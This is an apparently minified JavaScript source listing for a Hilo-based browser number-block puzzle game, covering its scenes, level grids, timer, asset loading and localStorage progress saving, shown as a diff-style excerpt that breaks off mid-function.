1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405 |
- !
- function() {
- window.onload = function() {
- a.init()
- };
- var a = window.Game = {
- width: 0,
- height: 0,
- scale: 1,
- asset: null,
- stage: null,
- ticker: null,
- state: null,
- score: 0,
- user: null,
- bg: null,
- gameRealDrawScene: null,
- gamebeforeDrawScene: null,
- gameHomeScene: null,
- normalScene: null,
- timetrialScene: null,
- init: function() {
- var b = this;
- b.user = user,
- b.asset = new a.Asset,
- b.initStage(),
- b.creatLoadScene(),
- b.asset.on("complete",
- function() {
- b.asset.off("complete"),
- b.stage.removeChild(a.loadScene),
- setTimeout(function() {
- b.asset.clearLodingIt(),
- b.initScenes()
- },
- 100)
- }.bind(b)),
- b.asset.load()
- },
- initStage: function() {
- this.width = 640,
- this.height = 960;
- var a = this;
- a.adaptive();
- var b = this.stage = new Hilo.Stage({
- width: this.width,
- height: this.height,
- scaleX: this.scale,
- scaleY: this.scale
- });
- document.body.appendChild(b.canvas),
- this.ticker = new Hilo.Ticker(60),
- this.ticker.addTick(b),
- this.ticker.start(),
- this.stage.enableDOMEvent(Hilo.event.POINTER_START, !0),
- this.stage.enableDOMEvent(Hilo.event.POINTER_MOVE, !0),
- this.stage.enableDOMEvent(Hilo.event.POINTER_END, !0)
- },
- centered: function() {
- var a = document.getElementById("bg");
- a.style.backgroundSize = "cover"
- },
- adaptive: function() {
- var a = this,
- b = window.innerWidth,
- c = window.innerHeight,
- d = b / this.width,
- e = c / this.height;
- a.scale = d > e ? e: d
- },
- initBackground: function() {
- {
- var a = this.width * this.scale;
- this.height * this.scale
- }
- document.body.insertBefore(Hilo.createElement("div", {
- id: "bg",
- style: {
- position: "absolute",
- background: "-webkit-gradient(linear,left top,left bottom,from(#d9f5ff),to(#d9f5ff))",
- width: a + "px",
- height: "100%"
- }
- }), this.stage.canvas),
- this.initShareBtn()
- },
- initScenes: function() {
- var b = this;
- b.initBackground(),
- b.centered(),
- b.gameHomeScene = new a.GameHomeScene({
- width: b.width,
- height: b.height,
- homeImage: b.asset.homeBtn
- }).addTo(b.stage),
- b.gameHomeScene.initBtn();
- //var c = b.setShareData(2);
- //b.weixinShare(c)
- },
- weixinShare: function() {},
- setShareData: function(a, b, c) {
-
- },
- creatNormalScene: function() {
- var b = this,
- c = a.stage;
- a.normalScene = new a.NormalScene({
- width: b.width,
- height: b.height,
- image: a.asset.normal,
- logo: a.asset.homeBtn
- }).addTo(c),
- a.normalScene.initBtn()
- },
- creatLevelScene: function(b) {
- var c = this,
- d = a.stage;
- a.levelScene = new a.LevelScene({
- width: c.width,
- height: c.height,
- image: a.asset.select,
- pageLevel: b,
- starImg: a.asset.star
- }).addTo(d),
- a.levelScene.initBtn()
- },
- creatLoadScene: function() {
- var b = this,
- c = a.stage;
- a.loadScene = new a.LoadScene({
- width: b.width,
- height: b.height,
- image: a.asset.controlBtn
- }),
- a.loadScene.addTo(c)
- },
- creatGraphScene: function(b) {
- var c = this,
- d = a.stage;
- c.currentLevel = b;
- var e = a.level.levelInfo[b];
- setTimeout(function() {
- a.graphScene = new a.GraphScene({
- width: c.width,
- height: 720,
- image: a.asset.graphGlyphs,
- overlayImg: a.asset.overlay,
- y: 100,
- levelInfo: e
- }).addTo(d),
- a.graphScene.initEvent()
- },
- 50)
- },
- creatTipScene: function(b, c) {
- var d = this,
- e = a.stage,
- f = d.currentLevel;
- if(b==0){
- dp_submitScore(f+1);
- }
- //d.setShareData(b, c, f),
- a.tipScene = new a.TipScene({
- width: d.width,
- height: d.height,
- type: b,
- time: c,
- textImg: a.asset.tipGlyphs,
- bgImg: a.asset.tipBg,
- btnImg: a.asset.tipBtn,
- starImg: a.asset.star,
- level: f + 1
- }).addTo(e),
- a.tipScene.initBtn()
- },
- gamePass: function() {
- var b = a.currentLevel + 1;
- return b >= a.level.levelInfo.length ? (this.creatTipScene(3, "0"), !1) : (a.user.setGold(a.user.gold + 1), a.normalScene.resetTime(), !0)
- },
- gameOver: function() {
- a.normalScene.clearTime(),
- a.normalScene.resetTime()
- },
- initShareBtn: function() {
- var a = "ontouchstart" in window,
- b = a ? "touchend": "mouseup";
- //c = document.getElementById("share");
- //c.addEventListener(b,
- //function() {
- // c.style.display = "none",
- // _czc.push(["_trackEvent", "点击", "分享遮罩层"])
- //})
- }
- }
- } (),
- function(a) {
- var b = a.LoadScene = Hilo.Class.create({
- Extends: Hilo.Container,
- constructor: function(a) {
- b.superclass.constructor.call(this, a),
- this.init(a)
- },
- init: function() {
- var a = this,
- b = a.height / 3,
- c = new Hilo.Text({
- text: "加载资源。",
- width: this.width,
- font: "30px arial",
- textAlign: "center",
- color: "#000",
- x: 0,
- y: b
- }),
- d = a.pre = new Hilo.Text({
- text: 0,
- width: this.width,
- font: "100px arial",
- textAlign: "center",
- color: "#000",
- x: 0,
- y: b + 40
- });
- a.addChild(c, d)
- },
- setPer: function(a) {
- this.pre.text = a
- }
- })
- } (window.Game),
- function(a) {
- a.Asset = Hilo.Class.create({
- Mixes: Hilo.EventMixin,
- queue: null,
- bg: null,
- ground: null,
- ready: null,
- over: null,
- numberGlyphs: null,
- birdAtlas: null,
- holdback: null,
- load: function() {
- var a = [{
- id: "homeBtn",
- src: "img/home.png"
- },
- {
- id: "tipBtn",
- src: "img/tip-btn.png"
- },
- {
- id: "tipBg",
- src: "img/tip-bg.png"
- },
- {
- id: "tipText",
- src: "img/tip-text.png"
- },
- {
- id: "normal",
- src: "img/normal.png"
- },
- {
- id: "graph",
- src: "img/graph.png"
- },
- {
- id: "star",
- src: "img/star.png"
- },
- {
- id: "select",
- src: "img/select.png"
- },
- {
- id: "overlay",
- src: "img/overlay.png"
- }];
- this.queue = new Hilo.LoadQueue,
- this.queue.add(a),
- this.queue.on("complete", this.onComplete.bind(this)),
- this.queue.start(),
- this.initLoding()
- },
- initLoding: function() {
- var b = this,
- c = b.queue;
- this.loadIt = setInterval(function() {
- var b = c.getLoaded(),
- d = c.getTotal();
- per = Math.floor(b / d * 100) + "%",
- a.loadScene.setPer(per)
- },
- 5)
- },
- clearLodingIt: function() {
- clearInterval(this.loadIt)
- },
- onComplete: function() {
- this.tipBtn = this.queue.get("tipBtn").content,
- this.homeBtn = this.queue.get("homeBtn").content,
- this.tipBg = this.queue.get("tipBg").content,
- this.select = this.queue.get("select").content,
- this.overlay = this.queue.get("overlay").content,
- this.normal = this.queue.get("normal").content,
- this.star = this.queue.get("star").content;
- var a = this.queue.get("graph").content,
- b = this.queue.get("tipText").content;
- this.tipGlyphs = {
- image: b,
- rect: [[0, 0, 479, 131], [0, 131, 479, 131], [0, 262, 479, 131], [0, 393, 479, 131], [0, 524, 479, 131]]
- },
- this.graphGlyphs = {
- image: a,
- rect: [[0, 0, 144, 145], [154, 0, 144, 145], [303, 0, 144, 145], [0, 153, 144, 145], [154, 153, 144, 145], [303, 153, 144, 145]]
- },
- this.queue.off("complete"),
- this.fire("complete")
- }
- })
- } (window.Game),
- function(a) {
- var b = a.GraphScene = Hilo.Class.create({
- Extends: Hilo.Container,
- constructor: function(a) {
- b.superclass.constructor.call(this, a),
- this.properties = a,
- this.initData(),
- this.init(a)
- },
- initData: function() {
- this.pointW = 48,
- this.topG = 80,
- this.marl = 0,
- this.row = 0,
- this.pWidth = 70,
- this.pHeight = 64,
- this.blockG = 5,
- this.ableColor = "#414676",
- this.disabledColor = "#a2a3a6",
- this.textColor = "#ffcc00",
- this.disTextColor = "#eee",
- this.pointList = []
- },
- init: function(a) {
- var b = this,
- c = b.levelInfo = a.levelInfo,
- d = c.graph;
- d = JSON.stringify(d),
- b.graph = JSON.parse(d); {
- var e = b.blockWidth = c.blockWidth,
- f = b.graph[0].length,
- g = f - 1;
- b.marl = Math.floor((b.width - e * f - b.blockG * g) / 2)
- }
- b.topG = Math.floor((b.height - b.graph.length * (e + b.blockG)) / 2),
- b.drawGraph(!0)
- },
- drawGraph: function(a) {
- var b = this,
- c = b.blockWidth,
- d = b.graph,
- e = b.marl;
- b.removeAllChildren();
- for (var f = 0; f < d.length; f++) for (var g = 0; g < d[f].length; g++) {
- var h = d[f][g],
- i = new Hilo.Bitmap({
- id: "logo",
- image: b.properties.image.image,
- rect: b.properties.image.rect[h],
- width: c,
- height: c,
- x: g * (c + b.blockG) + e,
- y: f * (c + b.blockG) + b.topG
- }).addTo(this);
- if (i.i = f, i.j = g, b.pointList.push(i), b.addChild(i), !a && h) {
- var j = new Hilo.Bitmap({
- image: b.properties.overlayImg,
- rect: [0, 0, 144, 145],
- width: c,
- height: c,
- x: g * (c + b.blockG) + e,
- y: f * (c + b.blockG) + b.topG
- }).addTo(this);
- b.addChild(j)
- }
- }
- },
- initEvent: function() {
- for (var b = this,
- c = b.graph,
- d = 0; d < b.pointList.length; d++) b.pointList[d].on(Hilo.event.POINTER_END,
- function(a) {
- a._stopped = !0;
- var d = {
- i: this.i,
- j: this.j
- };
- c[this.i][this.j] && b.eliminateBlock(d)
- });
- a.normalScene.isNew()
- },
- eliminateBlock: function(b) {
- var c = this,
- d = c.graph,
- e = d.length - 1,
- f = d[0].length - 1,
- g = b.i,
- h = b.j;
- if (d[g][h] = d[g][h] - 1, g > 0) {
- var i = d[g - 1][h];
- d[g - 1][h] = 0 == i ? 0 : i - 1
- }
- if (e > g) {
- var i = d[g + 1][h];
- d[g + 1][h] = 0 == i ? 0 : i - 1
- }
- if (h > 0) {
- var i = d[g][h - 1];
- d[g][h - 1] = 0 == i ? 0 : i - 1
- }
- if (f > h) {
- var i = d[g][h + 1];
- d[g][h + 1] = 0 == i ? 0 : i - 1
- }
- var j = c.getGamestate();
- if (j.gameOver) {
- if (c.drawGraph(!1), j.finish) {
- var k = a.normalScene.timeCount - a.normalScene.count;
- setTimeout(function() {
- a.gameOver(),
- a.creatTipScene(0, k)
- },
- 100)
- }
- } else c.drawGraph(!0),
- setTimeout(function() {
- c.initEvent()
- },
- 200)
- },
- getGamestate: function() {
- for (var a = this,
- b = a.graph,
- c = b.length - 1,
- d = b[0].length - 1, e = !1, f = !1, g = !1, h = !1, i = !1, j = 0; j < b.length; j++) for (var k = 0; k < b[j].length; k++) if (b[j][k] && (i = !0, e = 0 == j ? !1 : b[j - 1][k] ? !0 : !1, f = 0 == k ? !1 : b[j][k - 1] ? !0 : !1, g = k == d ? !1 : b[j][k + 1] ? !0 : !1, h = j == c ? !1 : b[j + 1][k] ? !0 : !1, !(e || f || g || h))) return {
- gameOver: !0,
- finish: !1
- };
- return i ? {
- gameOver: !1,
- finish: !1
- }: {
- gameOver: !0,
- finish: !0
- }
- }
- })
- } (window.Game),
- function(a) {
- var b = a.NormalScene = Hilo.Class.create({
- Extends: Hilo.Container,
- btnGx: 30,
- btnGy: 15,
- wBtn: 125,
- hBtn: 94,
- topG: 15,
- timeL: 380,
- numW: 30,
- numH: 91,
- count: 10,
- constructor: function(a) {
- b.superclass.constructor.call(this, a),
- this.properties = a,
- this.init(a)
- },
- init: function(a) {
- var b = this,
- c = b.height - b.hBtn - b.btnGy,
- d = 2 * b.btnGx,
- e = b.width - b.wBtn - 2 * b.btnGx,
- f = this.backBtn = new Hilo.Bitmap({
- id: "backBtn",
- image: a.image,
- rect: [0, 0, b.wBtn, b.hBtn],
- x: d,
- y: c
- }),
- g = this.resetBtn = new Hilo.Bitmap({
- id: "resetBtn",
- image: a.image,
- rect: [295, 0, b.wBtn, b.hBtn],
- x: e,
- y: c
- }),
- h = this.stopBtn = new Hilo.Bitmap({
- id: "stopBtn",
- image: b.properties.image,
- rect: [126, 0, 168, b.hBtn],
- x: 242,
- y: c
- }),
- i = new Hilo.Bitmap({
- id: "logo",
- image: b.properties.logo,
- rect: [0, 0, 429, 118],
- x: 55,
- y: b.topG,
- scaleX: .5,
- scaleY: .5
- }).addTo(this);
- b.addChild(i, f, g, h),
- b.initTime()
- },
- isNew: function() {
- var b = this,
- c = a.user.getUserLocation();
- c || (b.clearTime(), a.creatTipScene(4, "0"))
- },
- initBtn: function() {
- var b = this,
- c = a.stage;
- this.backBtn.on(Hilo.event.POINTER_START,
- function(d) {
- d._stopped = !0,
- b.visible = !1,
- c.removeChild(b),
- c.removeChild(a.graphScene),
- a.gameOver(),
- a.creatLevelScene(0),
- _czc.push(["_trackEvent", "点击", "返回按钮"])
- }.bind(this)),
- this.resetBtn.on(Hilo.event.POINTER_START,
- function(b) {
- b._stopped = !0,
- c.removeChild(a.graphScene),
- a.creatGraphScene(a.currentLevel),
- _czc.push(["_trackEvent", "点击", "刷新按钮"])
- }.bind(this)),
- b.stopBtn.on(Hilo.event.POINTER_START,
- function(b) {
- b._stopped = !0,
- a.normalScene.clearTime(),
- a.creatTipScene(2, "0"),
- _czc.push(["_trackEvent", "点击", "暂停按钮"])
- }.bind(this))
- },
- initTime: function() {
- var a = this;
- a.resetTime(),
- a.renderTime(),
- a.setTimeInterval()
- },
- setTimeInterval: function() {
- var a = this;
- a.it = setInterval(function() {
- a.clacTime()
- },
- 1e3)
- },
- clearTime: function() {
- var a = this;
- clearInterval(a.it)
- },
- resetTime: function() {
- var b = this,
- c = a.currentLevel,
- d = a.level.initTime,
- e = a.level.timeGap,
- f = d + e * c;
- b.count = f,
- b.timeCount = f
- },
- renderTime: function() {
- var a = this,
- b = (a.topG, a.second = new Hilo.Text({
- text: "剩余时间",
- font: "36px arial",
- textAlign: "left",
- color: "#399abe",
- x: 10,
- y: 10
- })),
- c = a.second = new Hilo.Text({
- text: a.count,
- font: "36px arial",
- textAlign: "left",
- color: "#e54689",
- x: 170,
- y: 10
- }),
- d = new Hilo.Container({
- id: "timeContainer",
- width: 230,
- height: 60,
- x: a.timeL,
- y: a.topG,
- children: [b, c]
- });
- d.setBgFill("#b1eaff"),
- a.addChild(d),
- a.clacTime()
- },
- clacTime: function() {
- var b = this,
- c = this.count;
- b.second.text = c,
- this.count--,
- this.count < 0 && (a.gameOver(), a.creatTipScene(1, "0"))
- },
- renderGold: function() {
- var b = this,
- c = this.star = new Hilo.Bitmap({
- id: "star",
- image: b.properties.image,
- rect: [85, 8, 65, 65],
- x: 0,
- y: 0
- }),
- d = b.gold = new Hilo.Text({
- id: "gold",
- text: a.user.gold,
- font: "50px arial",
- textAlign: "left",
- color: "#ffcc00",
- x: 70,
- y: 10
- }),
- e = new Hilo.Container({
- id: "timeContainer",
- width: 125,
- height: 85,
- x: 450,
- y: b.topG,
- children: [c, d]
- });
- b.addChild(e)
- },
- setGoldText: function() {
- var b = this;
- b.gold.text = a.user.gold
- }
- })
- } (window.Game),
- function(a) {
- var b = a.GameHomeScene = Hilo.Class.create({
- Extends: Hilo.Container,
- btnW: 390,
- btnH: 98,
- logoH: 426,
- logoW: 330,
- constructor: function(a) {
- b.superclass.constructor.call(this, a),
- this.init(a)
- },
- init: function(a) {
- new Hilo.Bitmap({
- id: "logo",
- image: a.homeImage,
- rect: [0, 0, 429, 118],
- x: 115,
- y: 170
- }).addTo(this),
- this.startBtn = new Hilo.Bitmap({
- id: "startBtn",
- image: a.homeImage,
- rect: [0, 127, 370, 127],
- x: 136,
- y: 528
- }).addTo(this),
- this.levelBtn = new Hilo.Bitmap({
- id: "startBtn",
- image: a.homeImage,
- rect: [0, 257, 365, 122],
- x: 136,
- y: 664
- }).addTo(this)
- },
- initBtn: function() {
- {
- var b = this;
- a.stage
- }
- b.startBtn.on(Hilo.event.POINTER_END,
- function(c) {
- c._stopped = !0,
- a.creatGraphScene(a.user.level),
- a.creatNormalScene(),
- b.visible = !1,
- document.getElementById("moregame").style.display = "none",
- _czc.push(["_trackEvent", "点击", "开始游戏按钮"])
- }.bind(b)),
- b.levelBtn.on(Hilo.event.POINTER_END,
- function(c) {
- c._stopped = !0,
- a.creatLevelScene(0),
- b.visible = !1,
- document.getElementById("moregame").style.display = "none",
- _czc.push(["_trackEvent", "点击", "关卡选择按钮"])
- }.bind(b))
- }
- })
- } (window.Game),
- function(a) {
- a.level = {
- initTime: 10,
- timeGap: 2,
- setStarList: function(a) {
- for (var b = this,
- c = 0; c < a.length; c++) b.levelInfo[c].star = a[c]
- },
- setStar: function(b, c) {
- this.levelInfo[b].star = c,
- a.user.setStarLocation(b, c)
- },
- levelInfo: [{
- blockWidth: 150,
- star: 0,
- graph: [[1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[0, 1, 0], [1, 2, 1], [0, 1, 0]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[0, 1, 0], [2, 2, 1], [0, 1, 0]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[0, 1, 2], [1, 0, 1], [2, 1, 0]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[0, 1, 0], [2, 4, 2], [0, 1, 0]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 0, 1], [2, 1, 2]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[0, 2, 0], [1, 2, 1], [0, 2, 0]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1], [1, 0, 1], [1, 1, 1]]
- },
- {
- blockWidth: 120,
- star: 0,
- graph: [[1, 0, 0, 0, 1], [2, 1, 0, 1, 2], [1, 0, 0, 0, 1]]
- },
- {
- blockWidth: 120,
- star: 0,
- graph: [[0, 1, 0, 0, 0], [1, 1, 1, 1, 1], [0, 0, 0, 1, 0]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[0, 1, 1], [2, 1, 2], [1, 1, 0]]
- },
- {
- blockWidth: 120,
- star: 0,
- graph: [[0, 0, 1, 0, 0], [0, 0, 2, 0, 0], [1, 2, 3, 2, 1], [0, 0, 2, 0, 0], [0, 0, 1, 0, 0]]
- },
- {
- blockWidth: 120,
- star: 0,
- graph: [[1, 0, 0, 0, 1], [2, 1, 2, 1, 2], [1, 0, 0, 0, 1]]
- },
- {
- blockWidth: 120,
- star: 0,
- graph: [[0, 0, 0, 0, 1], [0, 0, 2, 1, 1], [0, 0, 3, 0, 0], [1, 1, 2, 0, 0], [1, 0, 0, 0, 0]]
- },
- {
- blockWidth: 120,
- star: 0,
- graph: [[1, 3, 0, 1, 1], [1, 2, 0, 2, 1], [0, 0, 0, 0, 0], [1, 2, 0, 2, 1], [1, 1, 0, 3, 1]]
- },
- {
- blockWidth: 120,
- star: 0,
- graph: [[0, 0, 1, 0, 0], [0, 1, 2, 1, 0], [1, 1, 3, 1, 1], [0, 1, 2, 1, 0], [0, 0, 1, 0, 0]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1], [1, 2, 1], [1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 2], [1, 3, 1], [2, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 3], [1, 2, 2], [1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 2], [1, 2, 1], [2, 2, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 1, 2], [1, 2, 1], [2, 1, 2]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 1], [2, 1, 2], [1, 2, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 3, 2], [1, 1, 2], [1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 2], [2, 3, 2], [1, 2, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 1, 2], [2, 4, 1], [3, 2, 2]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1], [3, 3, 3], [1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 1, 2], [2, 1, 2], [2, 1, 2]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[3, 2, 1], [2, 1, 2], [1, 2, 3]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[3, 1, 3], [2, 2, 2], [3, 1, 3]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 1], [2, 4, 2], [1, 2, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 3, 3], [2, 1, 3], [1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1], [3, 2, 2], [3, 4, 3]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 1, 2], [1, 4, 2], [2, 2, 3]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[5, 3, 2], [3, 4, 1], [2, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[3, 2, 2], [2, 5, 1], [3, 2, 3]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 2, 2], [2, 3, 2], [2, 2, 2]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 2, 2], [4, 1, 4], [2, 2, 2]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 4], [2, 3, 2], [4, 2, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 1], [3, 4, 2], [5, 3, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[3, 5, 3], [2, 2, 2], [3, 5, 3]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1, 1], [1, 2, 2, 1], [1, 2, 2, 1], [1, 1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 1, 1, 2], [1, 1, 2, 1], [1, 2, 1, 1], [2, 1, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 1, 2], [1, 2, 1, 2], [2, 1, 2, 1], [2, 1, 2, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 2, 2, 2], [1, 3, 2, 1], [3, 1, 1, 2], [1, 2, 1, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 1, 3, 2], [1, 2, 1, 2], [1, 2, 1, 2], [1, 1, 3, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 3, 1, 1], [4, 1, 2, 1], [2, 3, 2, 1], [2, 1, 1, 2]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[2, 3, 2, 1], [2, 2, 2, 1], [1, 2, 1, 2], [1, 1, 2, 1]]
- },
- {
- blockWidth: 150,
- star: 0,
- graph: [[1, 2, 2, 1], [2, 2, 3, 2], [1, 2, 2, 2], [1, 1, 2, 1]]
- }]
- }
- } (window.Game),
- function(a) {
- a.user = {
- gold: 0,
- bestLevel: 2,
- level: 0,
- setLevel: function(a) {
- this.level = a
- },
- setBestLevel: function(a) {
- this.bestLevel = a
- },
- getLevel: function() {
- return this.level
- },
- setGold: function(a) {
- this.gold = a
- },
- setUserLocaltion: function(a, b) {
- var c = this.getUserLocation();
- c ? (c.level = a, c.newer = b) : c = {
- level: a,
- newer: b,
- starList: []
- },
- c = JSON.stringify(c),
- localStorage.setItem("number_user", c)
- },
- getUserLocation: function() {
- var a = localStorage.getItem("number_user");
- return a && (a = JSON.parse(a)),
- a
- },
- setStarLocation: function(a, b) {
- var c = this.getUserLocation();
- c && (c.starList[a] = b),
- c = JSON.stringify(c),
- localStorage.setItem("number_user", c)
- }
- };
- var b = user.getUserLocation();
- b && (user.setLevel(b.level), Game.level.setStarList(b.starList))
- } (window),
- function(a) {
- var b = a.TipScene = Hilo.Class.create({
- Extends: Hilo.Container,
- topG: 180,
- leftG: 69,
- tipW: 523,
- tipH: 590,
- btnW: 242,
- btnH: 114,
- btnX: 225,
- btnY: 415,
- textY: 255,
- levelY: 180,
- starY: 110,
- textInfo: {
- state: ["恭喜通关", "闯关失败", "游戏暂停", "关卡结束", "游戏规则"],
- text: ["用时: ", "萌萌哒,再来一次吧!", "不要离开太久哦!", "恭喜你丫的,通关了", "点击图中方块,该方块及其相邻的方块数字减1,在规定时间内将所有的方块都消为0,游戏通关。"]
- },
- levelColor: "#fff",
- textColor: "#179446",
- constructor: function(a) {
- b.superclass.constructor.call(this, a),
- this.properties = a,
- this.init(a)
- },
- init: function() {
- var b = this,
- c = new Hilo.Container({
- id: "stopBtn",
- width: this.width,
- height: this.height,
- alpha: .3,
- x: 0,
- y: 0
- });
- c.setBgFill("#000"),
- b.addChild(c);
- var d = new Hilo.Container({
- id: "tipContainer",
- width: this.tipW,
- height: this.tipH,
- x: b.leftG,
- y: b.topG
- }),
- e = new Hilo.Bitmap({
- id: "nextBtn",
- image: b.properties.bgImg,
- rect: [0, 0, 523, 338],
- width: 523,
- height: 338,
- x: 0,
- y: 30
- });
- d.addChild(e);
- var f = new Hilo.Text({
- id: "level",
- text: "第" + b.properties.level + "关",
- width: this.tipW,
- font: "50px arial",
- textAlign: "center",
- color: b.levelColor,
- x: 0,
- y: b.levelY
- }),
- g = (b.textInfo.state, b.textInfo.text),
- h = b.properties.type,
- i = new Hilo.Bitmap({
- id: "nextBtn",
- image: b.properties.textImg.image,
- rect: b.properties.textImg.rect[h],
- width: 479,
- height: 131,
- x: 30,
- y: 0
- }),
- j = new Hilo.Text({
- id: "time",
- text: g[h],
- width: this.tipW - 50,
- font: "30px arial",
- textAlign: "center",
- color: b.textColor,
- x: 25,
- y: b.textY
- }),
- k = b.shareBtn = new Hilo.Bitmap({
- id: "shareBtn",
- image: b.properties.btnImg,
- rect: [0, 475, 125, 110],
- width: 125,
- height: 110,
- x: 80,
- y: b.btnY
- });
- if (0 == b.properties.type) {
- var l = b.nextBtn = new Hilo.Bitmap({
- id: "nextBtn",
- image: b.properties.btnImg,
- rect: [0, 360, b.btnW, b.btnH],
- width: b.btnW,
- height: b.btnH,
- x: b.btnX,
- y: b.btnY
- });
- j.text = j.text + b.properties.time + "''";
- var m = b.drawStar(d);
- a.level.setStar(b.properties.level - 1, m),
- d.addChild(l, f, i, j, k)
- } else if (1 == b.properties.type) {
- var n = b.aginBtn = new Hilo.Bitmap({
- id: "aginBtn",
- image: b.properties.btnImg,
- rect: [0, 0, b.btnW, b.btnH],
- width: b.btnW,
- height: b.btnH,
- x: b.btnX,
- y: b.btnY
- });
- d.addChild(n, f, i, j, k)
- } else if (2 == b.properties.type) {
- var o = b.restoreBtn = new Hilo.Bitmap({
- id: "restore",
- image: b.properties.btnImg,
- rect: [0, 242, b.btnW, b.btnH],
- width: b.btnW,
- height: b.btnH,
- x: b.btnX,
- y: b.btnY
- });
- d.addChild(o, f, i, j, k)
- } else if (3 == b.properties.type) {
- var p = b.reStartBtn = new Hilo.Bitmap({
- id: "aginBtn",
- image: b.properties.btnImg,
- rect: [0, 121, b.btnW, b.btnH],
- width: b.btnW,
- height: b.btnH,
- x: b.btnX,
- y: b.btnY
- });
